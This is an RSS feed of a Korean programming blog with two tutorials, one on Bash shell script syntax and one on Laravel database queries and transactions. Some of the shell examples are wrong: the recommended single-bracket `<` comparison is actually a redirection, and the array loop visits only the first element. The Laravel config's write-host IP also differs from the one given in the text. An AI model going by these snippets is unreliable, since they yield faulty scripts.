<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[DongDongE_Blog]]></title><description><![CDATA[White Hat Security & Secure Coding]]></description><link>https://blog.d0ngd0nge.xyz/</link><image><url>https://blog.d0ngd0nge.xyz/favicon.png</url><title>DongDongE_Blog</title><link>https://blog.d0ngd0nge.xyz/</link></image><generator>Ghost 2.16</generator><lastBuildDate>Fri, 01 May 2026 07:34:31 GMT</lastBuildDate><atom:link href="https://blog.d0ngd0nge.xyz/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Shell Script 문법 정리]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>Bash Shell Script 문법 정리</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2021.02.08</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="shellscriptshellscript">[Shell Script: Shell Script란??]</h2>
<br> 
<p>이번 기회에 블로그 포스팅으로 쉘스크립트에 대해 작성해보고자 한다...<br>
맥북, 우분투 서버, NAS 서버 등 에서 ESXI를 자동 백업 스크립트를 작성하여 자동으로 관리 하려고 한다. 그렇게 하기 위해 서로 공통적으로 쉽게 호환되는 쉘</p>]]></description><link>https://blog.d0ngd0nge.xyz/shell-script/</link><guid isPermaLink="false">60212f3341c4ac059f96e56c</guid><category><![CDATA[Coding]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Fri, 12 Feb 2021 16:22:55 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>Bash Shell Script 문법 정리</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2021.02.08</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="shellscriptshellscript">[Shell Script: Shell Script란??]</h2>
<br> 
<p>이번 기회에 블로그 포스팅으로 쉘스크립트에 대해 작성해보고자 한다...<br>
맥북, 우분투 서버, NAS 서버 등 에서 ESXI를 자동 백업 스크립트를 작성하여 자동으로 관리 하려고 한다. 그렇게 하기 위해 서로 공통적으로 쉽게 호환되는 쉘 스크립트로 작성할겸 공부도 해볼려고 한다. (파이썬으로 작성 하려고 했으나 호환성 문제가 발생했음.)<br>
<br></p>
<p>무튼, 이번 기회에 쉘 스크립트 공부 내용을 올려본다.</p>
<h3 id="shellscript">Shell Script란??</h3>
<hr>
<p>Shell Script는 Shell이나 command line 인터프리터에서 구동되도록 작성된 스크립트다.<br>
리눅스와 유닉스에서는 <strong>Shell Script</strong>라는 단어를 사용하지만, 윈도우에서는 <strong>batch</strong>(배치파일, .bat)이 사용되며 서로 다른 문법으로 작동된다.<br>
<br></p>
<p>즉, 한마디로 정리를 한다면, 여러 명령어들이 나열된 스크립트 파일이 자동으로 실행 또는 행위를 수행함으로 효율적이면서 간편하게 수행할 수 있다. (대신 그만큼 스크립트 코딩하는 것도 문제다...)<br>
<br></p>
<p>또한 Shell Script가 Interpreter 방식이므로, 한줄 한줄 읽어 실행함으로 다소 속도가 느리다.</p>
<p><br><br></p>
<h3 id="shebang">Shebang (셔뱅? 쉬뱅? 이란?)</h3>
<hr>
<p>Shebang은 CLI에서 실행시키는 스크립트의 맨 처음 온다. shebang이 있는 스크립트는 프로그램으로 실행되면, 프로그램 로더가 스크립트의 첫 줄의 부분을 인터프리터 지시자로 구문을 분석한다.</p>
<pre><code class="language-bash">#!/bin/bash
#!/bin/csh
#!/bin/zsh
....
</code></pre>
<p>위와 같이 인터프리터의 절대경로는 기입하면 된다.<br>
<br></p>
<pre><code class="language-bash">#!/bin/zsh

echo $(which zsh)
</code></pre>
<p><strong>1.sh</strong><br>
<br></p>
<pre><code class="language-bash">$ chmod +x 1.sh
$ ./1.sh
/usr/local/bin/zsh
</code></pre>
<br>
<p>위와 같이 &quot;<strong>1.sh</strong>&quot; 쉘 스크립트 파일을 생성하여 chmod 명령으로 모두 실행권한을 할당하여 실행한다. 실행후 zsh의 절대경로를 알 수 있게 된다.</p>
<p><br><br></p>
<h3 id="">변수 선언</h3>
<hr>
<p>변수의 타입에는 &quot;<strong>로컬변수</strong>&quot;와 &quot;<strong>환경변수(전역)</strong>&quot;이 존재한다.<br>
<strong>로컬 변수</strong>는 말그대로 생성된 쉘에서만 사용이 가능하지만, &quot;<strong>환경변수(전역변수)</strong>&quot;는 생성된 쉘로 부터 자식으로 생성된 자식 프로세스에게도 접근할 수 있다.<br>
<br></p>
<ul>
<li>
<h4 id="">변수는 대,소문자를 구별한다.</h4>
</li>
<li>
<h4 id="">변수의 이름은 숫자를 포함할 수 있지만, 숫자로 시작할 수 없다.</h4>
</li>
<li>
<h4 id="">변수에는 모든 값을 문자열로 저장된다.</h4>
</li>
<li>
<h4 id="exintnumbercharnames10">변수에는 자료형을 기입하지 않는다. (Ex. int number, char names[10]), 즉 아무런 값을 다 넣을 수 있다.</h4>
</li>
<li>
<h4 id="exechodata">값을 사용할 때는 변수명 앞에 특수문자 &quot;<strong>$</strong>&quot;를 사용한다. (Ex. echo ${data})</h4>
</li>
<li>
<h4 id="exdatamac">값을 대입(삽입)할 때는 특수문자 &quot;<strong>$</strong>&quot;를 사용하지 않는다. (Ex. data=mac)</h4>
</li>
<li>
<h4 id="exdataabcd">변수를 생성할 때는 &quot;=&quot; 대입문자 앞뒤로 공백이 없어야 한다. (Ex. data=&quot;abcd&quot;)</h4>
</li>
</ul>
<p><br><br></p>
<h4 id="">환경 변수</h4>
<p>쉘이 작동되면 기본적으로 셋팅되어있는 변수들이다.</p>
<ul>
<li>
<h4 id="0"><strong>$0</strong> - 실행된 쉘 스크립트 파일명</h4>
</li>
<li>
<h4 id=""><strong>$#</strong> - 스크립트에 전달된 인자의 갯수</h4>
</li>
<li>
<h4 id="pid"><strong>$$</strong> - 쉘 스크립트의 PID</h4>
</li>
</ul>
<br>
<pre><code class="language-bash">#!/bin/bash

echo $0
echo $#
echo $$
</code></pre>
<p>- <strong>code.sh</strong> -</p>
<br>
<pre><code class="language-bash">$ chmod +x code.sh
$ ./code.sh
./code.sh
0
54639
</code></pre>
<p>- <strong>&quot;code.sh&quot; 실행 결과</strong> -</p>
<p><br><br></p>
<h4 id="">인자 변수</h4>
<p>쉘스크립트 작동시 인자로 넘겨주는 정보를 가지고 있는 변수다.</p>
<ul>
<li>
<h4 id="123n"><strong>$1, $2, $3, $n...</strong> - 념겨진 인자의 값</h4>
</li>
<li>
<h4 id=""><strong>$*</strong> 또는 <strong>$@</strong> - 전달된 인자들을 모아놓은 문자열</h4>
</li>
</ul>
<br>
<pre><code class="language-bash">#!/bin/bash

echo &quot;Args 1: $1&quot;
echo &quot;Args 2: $2&quot;
echo &quot;Args 3: $3&quot;

echo &quot;Args List \$@: $@&quot;
echo &quot;Args List \$*: $*&quot;
</code></pre>
<br>
<pre><code class="language-bash">$ ./code.sh aa bb cc
Args 1: aa
Args 2: bb
Args 3: cc
Args List $@: aa bb cc
Args List $*: aa bb cc
</code></pre>
<p><br><br><br></p>
<h3 id="">산술 연산</h3>
<hr>
<p>쉘 스크립트의 변수 산술연산은 다른 언어의 비해 쉽지 않다. 위 &quot;변수 선언&quot; 파트 부분에서 나왔듯이 변수의 저장된 값은 문자열로 처리가 되므로 아무리 연산을 하고 싶어도 할 수 가 없다. 하지만 리눅스의 함수를 이용하여 산술 계산을 할 수 있다.</p>
<br>
<pre><code class="language-bash">#!/bin/bash

number1=10
number2=20

plus=`expr $number1 + $number2`
minus=`expr $number1 - $number2`
mul=`expr $number1 \* $number2`
div=`expr $number1 / $number2`
rem=`expr $number1 % $number2`

echo &quot;plus:     ${plus}&quot;
echo &quot;minus:    ${minus}&quot;
echo &quot;mul:      ${mul}&quot;
echo &quot;div:      ${div}&quot;
echo &quot;rem:      ${rem}&quot;
</code></pre>
<p>- <strong>code.sh</strong> -</p>
<br>
<pre><code class="language-bash">$ ./code.sh aa bb cc
plus:     30
minus:    -10
mul:      200
div:      0
rem:      10
</code></pre>
<br>
<p>차례대로 보면, 리눅스 프로그램인 &quot;<strong>expr</strong>&quot;를 사용하여 연산을 진행한다.<br>
연산자 중 곱셈은 역슬래쉬&quot;<strong>\</strong>&quot;를 삽입하여 &quot;<strong>\*</strong>&quot;으로 진행한다.</p>
<p><br><br><br></p>
<h3 id="if">IF 조건문</h3>
<hr>
<p>흐름상 조건문이 필요할 때 사용된다. 형식은 아래와 같다.<br>
꼭!! 주의해야할 것은, if문 뒤에 나오는 &quot;[&quot;, &quot;]&quot; 사이에는 공백이 존재해야 한다.<br>
<br></p>
<pre><code class="language-bash">if [ 값1 조건식 값2 ]; then
    수행
fi
</code></pre>
<br>
<pre><code class="language-bash">#!/bin/bash
num1=10
num2=10

if [ ${num1} -eq ${num2} ]; then
    echo &quot;변수의 값이 같습니다.&quot;
fi
</code></pre>
<p>- <strong>code.sh</strong> -</p>
<br>
<pre><code class="language-bash">$ ./code.sh
변수의 값이 같습니다.
</code></pre>
<br>
<p>위 쉘스크립트 코드의 로직은 변수 &quot;<strong>num1</strong>&quot;와 &quot;<strong>num2</strong>&quot;의 값이 같으면 &quot;<strong>-eq</strong>&quot; 아래 조건문 대로 <strong>echo</strong> 함수가 작동된다.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>이 외에도 조건문 비교 종류는 아래와 같이 존재합니다.</p>
<pre><code class="language-bash">[ -z ${변수A} ] # 변수A의 문자열 길이가 0이면 True
[ -n ${변수A} ] # 변수A의 문자열 길이가 0이 아니면 True

[ ${변수A} -eq ${변수B} ] # 변수A와 변수B의 값이 같으면 True
[ ${변수A} -ne ${변수B} ] # 변수A와 변수B의 값이 다르면 True
[ ${변수A} -gt ${변수B} ] # 변수A의 값이 변수B보다 크면 True
[ ${변수A} -ge ${변수B} ] # 변수A의 값이 변수B보다 크거나 같으면 True
[ ${변수A} -lt ${변수B} ] # 변수A의 값이 변수B보다 작으면 True
[ ${변수A} -le ${변수B} ] # 변수A의 값이 변수B보다 작거나 같으면 True

[ 조건A -a 조건B ] # 조건식 A와 B모두가 참이면 True (&amp;&amp; 연산자)
[ 조건A -o 조건B ] # 조건식 A가 참이거나 조건식 B가 참일 경우 True (|| 연산자)

# 아래는 파일 관련 조건문 종류
[ -d ${A} ] # A파일이 디렉터리면 True
[ -e ${A} ] # A파일이 존재하면 True
[ -L ${A} ] # A파일이 심볼릭 링크로 되어 있으면 True
[ -r ${A} ] # A파일이 읽기가 가능하면 True
[ -w ${A} ] # A파일이 쓰기가 가능하면 True
[ -x ${A} ] # A파일이 실행이 가능하면 True
[ -s ${A} ] # A파일의 크기가 0보다 크면 True
[ ${A} -nt ${B} ] A파일이 B파일보다 최신파일이면 True
[ ${A} -ot ${B} ] A파일이 B파일보다 이전파일이면 True
[ ${A} -ef ${B} ] A파일이 B파일이랑 같은 파일이면 True
</code></pre>
<br>
<p>위  조건문의 비교하는 방법을 알아보았지만, 문자로된 조건식은 어려워서 아래의 방법을 추천한다.</p>
<pre><code class="language-bash">if [ ${num1} &lt; ${num2} ]; then
    echo &quot;yes&quot;
else
    echo &quot;No&quot;
fi
</code></pre>
<p>프로그램 코딩처럼 기호를 써서 작업하자...</p>
<p><br><br></p>
<h4 id="if">단일 IF문</h4>
<pre><code class="language-bash">#!/bin/bash

num1=&quot;10&quot;
num2=&quot;11&quot;

# 1
if [ ${num1} -lt ${num2} ]; then
    echo &quot;yes&quot;
fi

# 2
if [ ${num1} -lt ${num2} ]
then
    echo &quot;yes&quot;
fi

# 3 - 조건문을 문자 대신 기호로 표현
if (( ${num1} &lt; ${num2} )); then
    echo &quot;yes&quot;
fi

# 4 - 한줄로 작성
if [ ${num1} -lt ${num2} ]; then echo &quot;yes&quot;; fi
</code></pre>
<p>위와 같이 쉘 스크립트에서 조건문을 작성하는 방법은 여러가지가 있다. 결과와 로직흐름은 서로 같다</p>
<br>
<pre><code class="language-bash">bash-3.2$ ./code2.sh
yes
yes
yes
yes
</code></pre>
<p><br><br></p>
<h4 id="ifelse">IF-ELSE문</h4>
<p>&quot;<strong>if-else</strong>&quot; 구문은 해당 조건식에 의해 참 또는 거짓일 경우 각각 로직 흐름을 맞출 수 있다.</p>
<br>
<pre><code class="language-bash">#!/bin/bash

num1=&quot;11&quot;
num2=&quot;10&quot;

# 1
if [ ${num1} -lt ${num2} ]; then
    echo &quot;yes&quot;
else
    echo &quot;no&quot;
fi

# 2
if [ ${num1} -lt ${num2} ]
then
    echo &quot;yes&quot;
else
    echo &quot;no&quot;
fi

# 3 - 조건문을 문자 대신 기호로 표현
if (( ${num1} &lt; ${num2} )); then
    echo &quot;yes&quot;
else
    echo &quot;no&quot;
fi

# 4 - 한줄로 작성
if [ ${num1} -lt ${num2} ]; then echo &quot;yes&quot;; else echo &quot;no&quot;; fi
</code></pre>
<p>위 코드를 살펴보면, 단순히 &quot;<strong>if</strong>&quot; 흐름도에서 &quot;<strong>else</strong>&quot;가 추가되어 어떻게 로직을 구현할지 작성만 하면 된다.</p>
<p><br><br></p>
<h4 id="ifelif">IF-ELIF문</h4>
<p>&quot;<strong>if-ELIF</strong>&quot; 구문은 여러 IF문이 추가되 각 상황에 맞게 로직 흐름을 수행할 수 있다고 보면된다.</p>
<br>
<pre><code class="language-bash">#!/bin/bash

num1=&quot;10&quot;
num2=&quot;10&quot;

# &quot;-lt&quot;, A가 B보다 작으면 True
# &quot;-eq&quot;, A와 B가 서로 같으면 True

if [ ${num1} -lt ${num2} ]; then
    echo &quot;yes&quot;
elif [ ${num1} -eq ${num2} ]; then
    echo &quot;bbb&quot;
else
    echo &quot;no&quot;
fi


if [ ${num1} -lt ${num2} ]
then
    echo &quot;yes&quot;
elif [ ${num1} -eq ${num2} ]
then 
    echo &quot;bbb&quot;
else
    echo &quot;no&quot;
fi


if (( ${num1} &lt; ${num2} )); then
    echo &quot;yes&quot;
elif (( ${num1} == ${num2} )); then
    echo &quot;bbb&quot;
else
    echo &quot;no&quot;
fi


if [ ${num1} -lt ${num2} ]; then echo &quot;yes&quot;; elif [ ${num1} -eq ${num2} ]; then echo &quot;bbb&quot;;  else echo &quot;no&quot;; fi
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p><br><br></p>
<h3 id="for">반복문 for</h3>
<p>반복문은 여러 작업을 수행할 때 사용된다. 주로 &quot;for&quot;문과 &quot;while&quot; 문을 통하여 할 수 있다.</p>
<pre><code class="language-bash">#!/bin/bash

for &lt;변수&gt; in &lt;범위&gt;
do
    &lt;수행 로직&gt;
done
</code></pre>
<br>
<p>형식은 위와 같다.</p>
<p><br><br></p>
<pre><code class="language-bash">#!/bin/bash

data=&quot;1 2 3 4&quot;

# 초기값; 조건값; 증가값을 사용한 반복문
for ((i=1; i&lt;=4; i++)); do
    echo $i
done

# 변수를 사용한 반복문
for x in $data
do
    echo ${x}
done

# seq 함수를 사용한 반복문 (1, 2, 3, 4) 범위 나열
for x in $(seq 4)
do
    echo ${x}
done

# 배열을 사용한 반복문
datas=(1 2 3 4)
for x in $datas
do
    echo ${x}
done
</code></pre>
<br>
<p>또한 위 코드와 같이 여러 방법을 통한 반복문을 구현할 수 있다.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[PHP MVC - Laravel DATABASE]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel - 데이터베이스</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.08.10</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="databasegettingstarted">[Database: Getting Started - 데이터베이: 시작하기]</h2>
<br> 
<h3 id="">데이터베이스란?</h3>
<hr>
<p>라라벨은 Raw SQL를 사용하거나 &quot;<strong>쿼리 빌더</strong>&quot; 또는 &quot;<strong>Eloquent ORM</strong>&quot;을 사용하여 다양한 데이터베이스 백엔드에서 데이터베이스와 상호작용을 매우 간편하게 만들 수 있습니다. 현재 라라벨은 4가지 데이터베이스를 지원하고</p>]]></description><link>https://blog.d0ngd0nge.xyz/php-mvc-laravel-database/</link><guid isPermaLink="false">5f310445a673e14bd491d180</guid><category><![CDATA[laravel]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Tue, 11 Aug 2020 05:55:33 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel - 데이터베이스</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.08.10</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="databasegettingstarted">[Database: Getting Started - 데이터베이: 시작하기]</h2>
<br> 
<h3 id="">데이터베이스란?</h3>
<hr>
<p>라라벨은 Raw SQL를 사용하거나 &quot;<strong>쿼리 빌더</strong>&quot; 또는 &quot;<strong>Eloquent ORM</strong>&quot;을 사용하여 다양한 데이터베이스 백엔드에서 데이터베이스와 상호작용을 매우 간편하게 만들 수 있습니다. 현재 라라벨은 4가지 데이터베이스를 지원하고 있습니다.</p>
<br>
<ul>
<li>
<h3 id="mysql">MySQL</h3>
</li>
<li>
<h3 id="postgres">Postgres</h3>
</li>
<li>
<h3 id="sqlite">SQLite</h3>
</li>
<li>
<h3 id="sqlserver">SQL Server</h3>
</li>
</ul>
<p><br><br></p>
<h3 id="configuration">Configuration - 설정하기</h3>
<hr>
<p>애플리케이션의 데이터베이스 설정은 &quot;<strong>config/database.php</strong>&quot;에 있습니다. 해당 파일에서 모든 데이터베이스 연결을 정의하고 기본적으로 어떤 데이터베이스를 연결할지 지정할 수 있습니다. 지원되는 대부분의 데이터베이스 시스템에 대한 기본 예제가 들어 있습니다. <br><br>
<br>기본적으로 라라벨의 샘플 환경 구성은 로컬 머신에서 개발을 진행하기 위해 라라벨의 &quot;<strong>Homestead</strong>&quot;을 사용할 준비가 되어 있습니다. 물론 로컬 데이터베이스 필요에 따라 해당 구성을 자유롭게 변경할 수 있습니다.</p>
<p><br><br></p>
<h3 id="sqliteconfigurationsqlite">SQLite Configuration - SQLite 설정하기</h3>
<hr>
<p>&quot;<strong>touch database/database.sqlite</strong>&quot;와 같은 명령을 사용하여 새로운 SQLite 데이터 베이스를 만들고 데이터베이스의 절대 경로를 사용하여 새로 만든 데이터베이스를 가리키도록 설정을 쉽게 변경할 수 있습니다.</p>
<br>
<pre><code class="language-sql">DB_CONNECTION=sqlite
DB_DATABASE=/absolute/path/to/database.sqlite
</code></pre>
<p><strong>.env</strong></p>
<p><br><br></p>
<h3 id="sqlserverconfigurationsqlserver">SQL Server Configuration - SQL Server 설정하기</h3>
<hr>
<p>라라벨은 supports SQL Server를 지원합니다. 하지만 데이터베이스에 대한 연결 구성은 &quot;<strong>config/database.php</strong>&quot;에서 추가해야합니다.</p>
<br>
<pre><code class="language-php">'sqlsrv' =&gt; [
    'driver' =&gt; 'sqlsrv',
    'host' =&gt; env('DB_HOST', 'localhost'),
    'database' =&gt; env('DB_DATABASE', 'forge'),
    'username' =&gt; env('DB_USERNAME', 'forge'),
    'password' =&gt; env('DB_PASSWORD', ''),
    'charset' =&gt; 'utf8',
    'prefix' =&gt; '',
],
</code></pre>
<p><br><br></p>
<h3 id="">읽기 &amp; 쓰기 연결설정</h3>
<hr>
<p>&quot;<strong>SELECT</strong>&quot;문에 대해 하나의 데이터베이스에 연결하여 사용하고, &quot;<strong>INSERT</strong>, <strong>UPDATE</strong>, <strong>DELETE</strong>&quot; 문에 대해서는 다른 데이터베이스에 연결하여 사용할 수 있습니다. 라라벨은 이부분을 쉽게 만들 수 있도록 처리해주며, <strong>Raw 쿼리</strong>를 사용하거나, &quot;<strong>쿼리 빌더</strong>&quot; 또는 &quot;<strong>Eloquent ORM</strong>&quot;을 사용하든 적절한 연결이 사용됩니다.<br>
<br>읽기 / 쓰기 연결 설정은 아래와 같습니다.</p>
<br>
<pre><code class="language-php">'mysql' =&gt; [
    'read' =&gt; [
        'host' =&gt; '192.168.1.1',
    ],
    'write' =&gt; [
        'host' =&gt; '196.168.1.2'
    ],
    'driver'    =&gt; 'mysql',
    'database'  =&gt; 'database',
    'username'  =&gt; 'root',
    'password'  =&gt; '',
    'charset'   =&gt; 'utf8',
    'collation' =&gt; 'utf8_unicode_ci',
    'prefix'    =&gt; '',
],
</code></pre>
<p><strong>config/database.php</strong></p>
<br>
<p>mysql 배열에는 &quot;<strong>read</strong>&quot;와 &quot;<strong>write</strong>&quot; 라는 2개의 키가 존재합니다. 각 키에는 단일 키 &quot;<strong>host</strong>&quot;가 포함된 배열값이 존재합니다. &quot;<strong>read</strong>&quot;와 &quot;<strong>write</strong>&quot; 연결에 대한 나머지 데이터베이스 옵션은 기본 &quot;<strong>mysql</strong>&quot; (ex. username, password)배열에서 합쳐져 사용됩니다.<br>
<br>만약 기본 배열(<strong>mysql 배열</strong>)의 값을 재정의하려는 경우 &quot;<strong>read</strong>&quot;와 &quot;<strong>write</strong>&quot; 배열에 항목을 추가하면됩니다. 따라서 위 예제 경우 &quot;<strong>192.168.1.1</strong>&quot; IP는 &quot;<strong>read(읽기 권한만)</strong>&quot; 연결을 위한 호스트로 사용되며, &quot;<strong>192.168.1.2</strong>&quot; IP는 &quot;<strong>write(쓰기 권한만)</strong>&quot;에 사용됩니다. 메인 &quot;mysql&quot; 배열의 데이터베이스의 연결정보, &quot;<strong>prefix</strong>&quot;, &quot;<strong>database</strong>&quot;, &quot;<strong>username</strong>&quot; 등 기타 모든 옵션은 두 배열(<strong>read, write</strong>) 모두에 공유됩니다.</p>
<p><br><br></p>
<h3 id="usingmultipledatabaseconnections">Using Multiple Database Connections - 여러 데이터베이스 연결하기</h3>
<hr>
<p>여러 연결을 사용하는 경우 &quot;<strong>DB</strong>&quot; 파사드의 &quot;<strong>connection</strong>&quot; 메소드를 사용하여 각각 연결에 액세스할 수 있습니다. &quot;<strong>connection</strong>&quot; 메소드에 전달된 &quot;<strong>name</strong>&quot;은 &quot;<strong>config/database.php</strong>&quot; 설정파일에 나열된 이름이랑 일치해야 합니다.</p>
<br>
<pre><code class="language-php">$users = DB::connection('foo')-&gt;select(...);
</code></pre>
<br>
<p>연결 인스턴스에서 &quot;getPdo&quot; 메소드를 사용하여 Raw PDO 인스턴스에 접근할 수 있습니다.</p>
<br>
<pre><code class="language-php">$pdo = DB::connection()-&gt;getPdo();
</code></pre>
<p><br><br></p>
<h3 id="runningrawsqlqueriesrawsql">Running Raw SQL Queries - Raw SQL 쿼리 실행</h3>
<hr>
<p>데이터베이스 연결을 구성한 후에는 &quot;<strong>DB</strong>&quot; 파사드를 사용하여 쿼리를 실행할 수 있습니다. &quot;<strong>DB</strong>&quot; 파사드는 &quot;<strong>select</strong>, <strong>update</strong>, <strong>insert</strong>, <strong>delete</strong>&quot; 그리고 &quot;<strong>statement</strong>&quot;의 각 쿼리 유형에 대한 메소드를 제공합니다.</p>
<br>
<h4 id="select">[SELECT 쿼리 실행해보기]</h4>
<p>기본 쿼리를 실행하려면 &quot;<strong>DB</strong>&quot; 파사드에서 &quot;<strong>select</strong>&quot; 메소드를 사용할 수 있습니다.</p>
<br>
<pre><code class="language-php">&lt;?php

namespace App\Http\Controllers;

use Illuminate\Support\Facades\DB;
use App\Http\Controllers\Controller;

class UserController extends Controller
{
    /**
     * Show a list of all of the application's users.
     *
     * @return Response
     */
    public function index()
    {
        $users = DB::select('select * from users where active = ?', [1]);

        return view('user.index', ['users' =&gt; $users]);
    }
}
</code></pre>
<p><br>&quot;<strong>select</strong>&quot; 메소드에 전달된 첫 번째 인자는 Raw SQL 쿼리이며, 두 번째 인자는 쿼리에 바인딩해야하는 매개변수값입니다. 일반적으로 이들은 &quot;<strong>where</strong>&quot; 절 제약을 위한 조건값입니다. 매개변수 바인딩은 SQL Injection에 대응하기 위해 제공합니다.<br>
<br>&quot;<strong>select</strong>&quot; 메소드는 항상 배열로 반환합니다. 배열내의 각 값 결과는 PHP &quot;<strong>StdClass</strong>&quot; 객체가 되어 결과값에 액세스할 수 있습니다.</p>
<br>
<pre><code class="language-php">foreach ($users as $user) {
    echo $user-&gt;name;
}
</code></pre>
<p><br><br></p>
<h3 id="usingnamedbindings">Using Named Bindings - 이름 바인딩 사용하기</h3>
<p>기존 &quot;<strong>?</strong>&quot;를 사용하여 매개변수 바인딩을 표시하는 대신 이름(Named)를 사용하여 쿼리를 실행할 수 있습니다.<br>
<br></p>
<pre><code class="language-php">$results = DB::select('select * from users where id = :id', ['id' =&gt; 1]);
</code></pre>
<p><br><br></p>
<h3 id="runninganinsertstatementinsertstatement">Running An insert Statement - insert Statement 실행하기</h3>
<p>&quot;<strong>insert</strong>&quot; Statement 실행하려면 &quot;DB&quot; 파사드에서 &quot;<strong>insert</strong>&quot; 메소드를 사용할 수 있습니다. &quot;<strong>select</strong>&quot;와 마찬가지로 해당 메소드도 Raw SQL 쿼리를 첫 번째 인자로 전달되며, 두 번째 인자로는 쿼리에 바인딩할 매개변수를 전달합니다.</p>
<br>
<pre><code class="language-php">DB::insert('insert into users (id, name) values (?, ?)', [1, 'Dayle']);
</code></pre>
<p><br><br></p>
<h3 id="runninganupdatestatementupdatestatement">Running An Update Statement - update Statement 실행하기</h3>
<p>데이터베이스의 기존 레코드(<strong>데이터</strong>)를 업데이트(<strong>수정</strong>)하려면 &quot;<strong>update</strong>&quot; 메소드를 사용하면 됩니다. 결과값으로는 해당 쿼리문의 영향을 받는 행 갯수가 반환됩니다.</p>
<br>
<pre><code class="language-php">$affected = DB::update('update users set votes = 100 where name = ?', ['John']);
</code></pre>
<p><br><br></p>
<h3 id="runningandeletestatementdeletestatement">Running An Delete Statement - delete Statement 실행하기</h3>
<p>데이터베이스의 레코드(<strong>데이터</strong>)를 삭제하려면 &quot;<strong>delete</strong>&quot; 메소드를 사용할 수 있습니다. &quot;<strong>update</strong>&quot; 메소드와 마찬가지로 해당 쿼리문으로 영향을 받는 행 갯수가 반환됩니다.</p>
<br>
<pre><code class="language-php">$deleted = DB::delete('delete from users');
</code></pre>
<p><br><br></p>
<h3 id="runningangeneralstatementgeneralstatement">Running An General Statement - General Statement 실행하기</h3>
<p>일부 데이터베이스는 값을 반환하지 않는 경우가 있습니다. 이러한 유형은 &quot;<strong>DB</strong>&quot; 파사드에서 &quot;<strong>statement</strong>&quot; 메소드를 사용할 수 있습니다.</p>
<br>
<pre><code class="language-php">DB::statement('drop table users');
</code></pre>
<p><br><br></p>
<h3 id="listeningforqueryevents">Listening For Query Events - 쿼리 이벤트 리스닝</h3>
<p>애플리케이션에서 실행되는 각 쿼리를 확인하기 위해 &quot;<strong>listen</strong>&quot; 메소드를 사용할 수 있습니다. 해당 메소드는 &quot;<strong>쿼리 로깅</strong>&quot; 또는 &quot;<strong>디버깅</strong>&quot;에 유용합니다. &quot;<strong>서비스 프로바이더</strong>&quot;에 쿼리 리스너를 등록할 수 있습니다.</p>
<br>
<pre><code class="language-php">&lt;?php

namespace App\Providers;

use Illuminate\Support\Facades\DB;
use Illuminate\Support\ServiceProvider;

class AppServiceProvider extends ServiceProvider
{
    /**
     * Bootstrap any application services.
     *
     * @return void
     */
    public function boot()
    {
        DB::listen(function ($query) {
            // $query-&gt;sql
            // $query-&gt;bindings
            // $query-&gt;time
        });
    }

    /**
     * Register the service provider.
     *
     * @return void
     */
    public function register()
    {
        //
    }
}
</code></pre>
<p><br><br></p>
<h3 id="handingdeadlocks">Handing Deadlocks - 교착상태 처리</h3>
<p>&quot;<strong>transaction</strong>&quot; 메소드는 교착상태가 발생할 때 트랜잭션을 재시도해야 하는 횟수를 정의하는 두 번째 인자로 선택적으로 전달 받습니다. 이러한 시도가 모두 종료되면 &quot;<strong>exception</strong>&quot; 예외가 발생합니다.</p>
<br>
<pre><code class="language-php">DB::transaction(function () {
    DB::table('users')-&gt;update(['votes' =&gt; 1]);

    DB::table('posts')-&gt;delete();
}, 5);
</code></pre>
<p><br><br></p>
<h3 id="manuallyusingtransactions">Manually Using Transactions - 수동으로 트랜잭션 사용하기</h3>
<p>트랜잭션을 수동으로 시작하고 &quot;<strong>롤백</strong>&quot;과 &quot;<strong>커밋</strong>&quot;을 완벽하게 제어하기 위해 &quot;<strong>DB</strong>&quot; 파사드에서 &quot;<strong>beginTransaction</strong>&quot; 메소드를 사용할 수 있습니다.</p>
<br>
<pre><code class="language-php">DB::beginTransaction();
</code></pre>
<p><br>&quot;<strong>rollback</strong>&quot; 메소드를 통하여 트랜잭션을 롤백할 수 있습니다. <br></p>
<pre><code class="language-php">DB::rollBack();
</code></pre>
<br>
<p>마지막으로 &quot;<strong>commit</strong>&quot; 메소드를 통하여 트랜잭션을 커밋할 수 있습니다. <br></p>
<pre><code class="language-php">DB::commit();
</code></pre>
<p><br>&quot;<strong>DB</strong>&quot; 파사드의 트랜잭션 메소드를 사용하여 &quot;<strong>쿼리 빌더</strong>&quot; 및 &quot;<strong>Eloquent ORM</strong>&quot;에 대한 트랜잭션도 제어할 수 있습니다.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p><br><br><br></p>
<h2 id="databasequerybuilder">[Database: Query Builder - 쿼리 빌더]</h2>
<br> 
<h3 id="">데이터베이스 쿼리 빌더란?</h3>
<hr>
